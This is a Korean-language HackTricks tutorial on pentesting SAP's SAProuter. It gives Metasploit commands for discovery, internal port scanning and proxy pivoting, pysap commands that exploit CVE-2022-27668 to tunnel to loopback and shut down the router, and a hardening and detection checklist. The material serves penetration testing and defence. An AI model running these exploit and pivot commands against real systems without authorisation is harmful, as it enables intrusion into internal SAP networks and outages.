mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
132 lines
8.0 KiB
Markdown
132 lines
8.0 KiB
Markdown
# # 3299/tcp - Pentesting SAProuter
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
```text
|
||
PORT STATE SERVICE VERSION
|
||
3299/tcp open saprouter?
|
||
```
|
||
이것은 [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)의 게시물 요약입니다.
|
||
|
||
## Metasploit을 이용한 SAProuter 침투 이해하기
|
||
|
||
SAProuter는 SAP 시스템을 위한 리버스 프록시 역할을 하며, 주로 인터넷과 내부 SAP 네트워크 간의 접근을 제어합니다. 일반적으로 TCP 포트 3299를 통해 조직의 방화벽을 통과하여 인터넷에 노출됩니다. 이 설정은 SAProuter를 침투 테스트의 매력적인 대상으로 만들며, 고가치 내부 네트워크로의 게이트웨이 역할을 할 수 있습니다.
|
||
|
||
**스캐닝 및 정보 수집**
|
||
|
||
초기에는 **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 확인하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다.
|
||
```text
|
||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||
msf auxiliary(sap_service_discovery) > run
|
||
```
|
||
발견 후, **sap_router_info_request** 모듈을 사용하여 SAP 라우터의 구성에 대한 추가 조사가 수행되어 내부 네트워크 세부정보를 잠재적으로 드러냅니다.
|
||
```text
|
||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||
msf auxiliary(sap_router_info_request) > run
|
||
```
|
||
**내부 서비스 열거하기**
|
||
|
||
획득한 내부 네트워크 통찰력을 바탕으로, **sap_router_portscanner** 모듈은 SAProuter를 통해 내부 호스트와 서비스를 탐색하는 데 사용되어 내부 네트워크 및 서비스 구성에 대한 더 깊은 이해를 제공합니다.
|
||
```text
|
||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||
```
|
||
이 모듈은 특정 SAP 인스턴스와 포트를 타겟팅하는 유연성 덕분에 내부 네트워크 탐색에 효과적인 도구입니다.
|
||
|
||
**고급 열거 및 ACL 매핑**
|
||
|
||
추가 스캔을 통해 SAProuter에서 액세스 제어 목록(ACL)이 어떻게 구성되어 있는지, 어떤 연결이 허용되거나 차단되는지를 확인할 수 있습니다. 이 정보는 보안 정책과 잠재적 취약점을 이해하는 데 중요합니다.
|
||
```text
|
||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||
```
|
||
**내부 호스트의 블라인드 열거**
|
||
|
||
SAProuter에서 직접적인 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 확인하려고 시도하여 직접적인 IP 주소 없이 잠재적인 대상을 드러냅니다.
|
||
|
||
**침투 테스트를 위한 정보 활용**
|
||
|
||
네트워크를 매핑하고 접근 가능한 서비스를 식별한 후, 침투 테스트 담당자는 Metasploit의 프록시 기능을 활용하여 SAProuter를 통해 내부 SAP 서비스의 추가 탐색 및 악용을 위해 피벗할 수 있습니다.
|
||
```text
|
||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||
msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||
```
|
||
**결론**
|
||
|
||
이 접근 방식은 안전한 SAProuter 구성의 중요성을 강조하고, 목표 지향적인 침투 테스트를 통해 내부 네트워크에 접근할 수 있는 가능성을 부각시킵니다. SAP 라우터를 적절히 보호하고 네트워크 보안 아키텍처에서의 역할을 이해하는 것은 무단 접근으로부터 보호하는 데 중요합니다.
|
||
|
||
Metasploit 모듈 및 사용법에 대한 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 방문하세요.
|
||
|
||
---
|
||
|
||
## 최근 취약점 (2022-2025)
|
||
|
||
### CVE-2022-27668 – 부적절한 접근 제어 ➜ 원격 관리 명령 실행
|
||
|
||
2022년 6월 SAP는 SAProuter(모든 커널 ≥ 7.22)의 치명적인 결함(CVSS 9.8)을 다룬 보안 노트 **3158375**를 발표했습니다. 인증되지 않은 공격자는 허용된 `saprouttab` 항목을 악용하여 원격 호스트에서 **관리 패킷**(예: *shutdown*, *trace-level*, *connection-kill*)을 보낼 수 있습니다. 이는 라우터가 `-X` 원격 관리 옵션 없이 시작되었을 때도 가능합니다.
|
||
|
||
이 문제는 지정되지 않은 주소 **0.0.0.0**을 타겟으로 하여 라우터의 자체 루프백 인터페이스로 터널을 구축할 수 있는 가능성에서 발생합니다. 터널이 설정되면 공격자는 로컬 호스트 권한을 얻고 모든 관리 명령을 실행할 수 있습니다.
|
||
|
||
실제 악용은 **pysap** 프레임워크로 재현할 수 있습니다:
|
||
```bash
|
||
# 1. Build a loopback tunnel through the vulnerable SAProuter
|
||
python router_portfw.py -d <ROUTER_IP> -p 3299 \
|
||
-t 0.0.0.0 -r 3299 \
|
||
-a 127.0.0.1 -l 3299 -v
|
||
|
||
# 2. Send an admin packet (here: stop the remote router)
|
||
python router_admin.py -s -d 127.0.0.1 -p 3299
|
||
```
|
||
**영향을 받는 버전**
|
||
|
||
* 독립형 SAProuter 7.22 / 7.53
|
||
* 커널 7.49, 7.77, 7.81, 7.85–7.88 (KRNL64NUC/UC 포함)
|
||
|
||
**수정 / 완화**
|
||
|
||
1. SAP 노트 **3158375**와 함께 제공된 패치를 적용합니다.
|
||
2. `saprouttab`의 `P` 및 `S` 라인에서 와일드카드(`*`) 대상을 제거합니다.
|
||
3. 라우터가 `-X` 옵션 없이 시작되고 인터넷에 직접 노출되지 않도록 합니다.
|
||
|
||
---
|
||
|
||
## 업데이트된 도구 및 트릭
|
||
|
||
* **pysap** – 적극적으로 유지 관리되며, 사용자 정의 NI/Router 패킷을 제작하거나 ACL을 퍼징하거나 CVE-2022-27668 익스플로잇을 자동화하기 위해 `router_portfw.py`, `router_admin.py` 및 `router_trace.py`를 제공합니다.
|
||
* **Nmap** – 사용자 정의 SAProuter 프로브를 추가하여 서비스 탐지를 확장합니다:
|
||
|
||
```text
|
||
Probe TCP SAProuter q|\x00\x00\x00\x00|
|
||
ports 3299
|
||
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
|
||
```
|
||
|
||
NSE 스크립트 또는 `--script=banner`와 결합하여 배너 문자열(`SAProuter <ver> on '<host>'`)을 유출하는 버전을 빠르게 식별합니다.
|
||
* **Metasploit** – 위에 표시된 보조 모듈은 pysap로 생성된 SOCKS 또는 NI 프록시를 통해 여전히 작동하여 라우터가 직접 접근을 차단하더라도 전체 프레임워크 통합을 가능하게 합니다.
|
||
|
||
---
|
||
|
||
## 강화 및 탐지 체크리스트
|
||
|
||
* 경계 방화벽에서 포트 **3299/TCP**를 필터링합니다 – 신뢰할 수 있는 SAP 지원 네트워크에서만 트래픽을 허용합니다.
|
||
* SAProuter를 **완전히 패치** 상태로 유지합니다; `saprouter -v`로 확인하고 최신 커널 패치 수준과 비교합니다.
|
||
* `saprouttab`에서 **엄격하고 호스트 특정** 항목을 사용합니다; `*` 와일드카드를 피하고 임의의 호스트나 포트를 대상으로 하는 `P`/`S` 규칙을 거부합니다.
|
||
* 서비스 시작 시 **`-S <secudir>` + SNC**를 사용하여 암호화 및 상호 인증을 강제합니다.
|
||
* 원격 관리(`-X`)를 비활성화하고, 가능하다면 리스너를 `127.0.0.1`에 바인딩하고 필요한 트래픽을 위해 외부 리버스 프록시를 사용합니다.
|
||
* 의심스러운 `ROUTER_ADM` 패킷이나 `0.0.0.0`에 대한 예상치 못한 `NI_ROUTE` 요청을 위해 **dev_rout** 로그를 모니터링합니다.
|
||
|
||
---
|
||
|
||
## **참조**
|
||
|
||
- [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||
- [https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/](https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/)
|
||
|
||
## Shodan
|
||
|
||
- `port:3299 !HTTP Network packet too big`
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|